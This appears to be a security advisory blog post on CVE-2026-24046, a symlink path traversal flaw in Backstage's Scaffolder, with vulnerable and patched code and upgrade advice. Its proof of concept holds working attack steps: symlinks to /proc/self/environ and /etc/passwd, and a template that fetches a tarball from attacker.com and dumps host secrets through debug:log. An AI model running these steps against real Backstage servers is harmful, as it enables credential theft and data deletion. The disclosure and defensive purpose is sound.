Feb 15, 2026·7 min read·17 visits
Backstage Scaffolder actions blindly followed symlinks. Attackers can define templates that create symlinks to sensitive host files (like /etc/passwd) and then use built-in actions to read or delete them. Patch immediately to versions that enforce safe path resolution.
A critical path traversal vulnerability in Backstage's Scaffolder component allows attackers to weaponize symbolic links. By crafting malicious templates or archives, bad actors can read arbitrary files from the host system or delete critical data, effectively breaking out of the application's sandbox. It turns the developer portal into a filesystem browsing tool for attackers.
Backstage has become the darling of platform engineering. It’s the "Spotify model" in a box—a centralized portal where developers can spin up services, view documentation, and generally feel productive. At the heart of this machinery is the Scaffolder, a powerful engine that takes templates (think cookiecutter on steroids) and generates codebases. It’s automation at its finest. But as any security researcher knows, automation without strict boundaries is just a fancy remote administration tool for attackers.
CVE-2026-24046 is a classic tale of "trusting the filesystem too much." The vulnerability resides in how Backstage handles file operations within the Scaffolder's workspace. Specifically, it involves the dark art of symbolic links. The Scaffolder creates a temporary directory (the workspace) to do its business—downloading code, running scripts, and zipping artifacts. The assumption was that everything stays inside that sandbox.
Spoiler alert: It didn't. By cleverly using symlinks, an attacker can trick the Backstage backend—which often runs with significant privileges in CI/CD pipelines—into reaching outside the sandbox. It’s the digital equivalent of locking your front door but leaving a wormhole in your living room that leads directly to the bank vault. If you can define a template, you can own the filesystem.
To understand this flaw, you have to look at how Node.js and standard file systems interact. When you perform an operation like fs.readFile('/tmp/workspace/config'), and config happens to be a symlink pointing to /etc/passwd, the operating system happily follows the link and reads the password file. Unless the application explicitly checks "Hey, where does this link actually go?", it's game over.
Backstage's Scaffolder provides several built-in actions. Two of them were particularly naive:
debug:log: Designed to help developers debug templates by printing workspace contents.fs:delete: Designed to clean up files.Neither of these actions verified that the files they were touching were actually inside the workspace. They just took a path, joined it with the workspace root, and executed. If an attacker could introduce a symlink into that workspace, they could redirect those actions to arbitrary locations on the host server. The root cause wasn't just missing input validation; it was a fundamental failure to treat the filesystem as a hostile environment.
Let's look at the crime scene. The vulnerability existed in multiple places, but the logic in debug:log is the most egregious example of blind trust.
The Vulnerable Code (Conceptual) In the old version, the code essentially did this:
// Inside the debug:log action
const filePath = path.join(ctx.workspacePath, userProvidedPath);
const content = fs.readFileSync(filePath, 'utf-8'); // <--- CRITICAL FAILURE
console.log(content);It looks innocent. It joins the workspace path with the file path. But fs.readFileSync follows symlinks by default. If userProvidedPath is a symlink pointing to ../../../../etc/shadow, Node.js resolves it, and Backstage logs your shadow file to the console.
The Fix (Commit c641c14)
The patch introduces a sanity check. The maintainers added resolveSafeChildPath, a utility that resolves the path and checks if it's still inside the parent directory.
// The patched version
import { resolveSafeChildPath } from '@backstage/backend-common';
try {
// This throws an error if the resolved path is outside workspacePath
const safePath = resolveSafeChildPath(ctx.workspacePath, relativePath);
const content = fs.readFileSync(safePath, 'utf-8');
return content;
} catch (error) {
// Symlink attempt blocked
return `[Security Blocked]: ${relativePath} resolves outside workspace`;
}They also patched the archive extraction logic (TarArchiveResponse.ts). Previously, it extracted symlinks blindly. Now, it checks the linkpath of every SymbolicLink entry in a tarball to ensure the target of the link doesn't point outside the extraction directory. If it does, it bails out.
Let's construct a Proof of Concept (PoC). We assume we have permission to register a new Template in Backstage (a common privilege for developers).
Step 1: The Malicious Archive
First, we create a tarball containing a symlink. We can't just create the symlink in the repo directly because git handles symlinks weirdly across OSs. Instead, we craft a tarball payload.tar.gz:
# Create a symlink pointing to the server's environment variables or password file
ln -s /proc/self/environ target_link
ln -s /etc/passwd passwd_link
# Tar it up
tar -czvf payload.tar.gz target_link passwd_linkStep 2: The Poisoned Template
We create a template.yaml that downloads and extracts this tarball, then instructs the debug:log action to print the contents.
apiVersion: scaffolder.backstage.io/v1beta3
kind: Template
metadata:
name: hacker-view
spec:
steps:
- id: fetch-evil
name: Fetch Malicious Tarball
action: fetch:plain
input:
url: https://attacker.com/payload.tar.gz
- id: read-secrets
name: Exfiltrate Data
action: debug:log
input:
listWorkspace: 'with-contents' # The money shotStep 3: Execution When the user runs this template:
payload.tar.gz to the workspace.target_link (pointing to /proc/self/environ) and passwd_link.debug:log action iterates through the workspace.target_link, follows it to /proc/self/environ, reads the process environment variables (which likely contain AWS_ACCESS_KEY_ID, GITHUB_TOKEN, and database credentials), and logs them.This isn't just about reading /etc/passwd. The impact depends on how you host Backstage.
1. Secret Exfiltration (High Probability)
Backstage backends are often loaded with secrets: GitHub App private keys, AWS credentials, database connection strings. Since the debug:log action writes to the task logs (visible to the user running the template), this is a direct pipe from the server's environment to the attacker's screen.
2. Denial of Service (Medium Probability)
The fs:delete action is also vulnerable. An attacker could symlink crucial system directories and trigger a delete. Imagine a template that symlinks /app/node_modules and then runs fs:delete. The backend creates the link, deletes the target, and suddenly your Backstage instance crashes and won't restart.
3. RCE (Lower Probability, but possible)
If the attacker can write files via symlinks (using fetch:plain with a malicious zip), they might be able to overwrite configuration files or inject code into the running application, specifically if the application is running in a writable filesystem (common in non-containerized or poorly configured container setups).
If you are running Backstage, you are likely affected. This vulnerability hits the core @backstage/plugin-scaffolder-backend.
Immediate Action Update your packages. You need to be on at least:
@backstage/plugin-scaffolder-backend: v2.2.2, v3.0.2, or v3.1.1@backstage/backend-defaults: v0.12.2+Defense in Depth
readOnlyRootFilesystem: true in Kubernetes) and mount a separate emptyDir volume for the Scaffolder workspace. This limits the damage to that specific volume.debug:log action if it's not strictly needed. It's a developer tool that became a weapon.CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
@backstage/backend-defaults Backstage | < 0.12.2 | 0.12.2 |
@backstage/plugin-scaffolder-backend Backstage | < 2.2.2 | 2.2.2 |
@backstage/plugin-scaffolder-backend Backstage | 3.0.x < 3.0.2 | 3.0.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-22 / CWE-59 |
| Attack Vector | Network (via Template) |
| CVSS | 7.1 (High) |
| Impact | Arbitrary File Read/Write/Delete |
| Exploit Status | PoC Available |
| Components | debug:log, fs:delete, TarArchiveResponse |
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') via Symlinks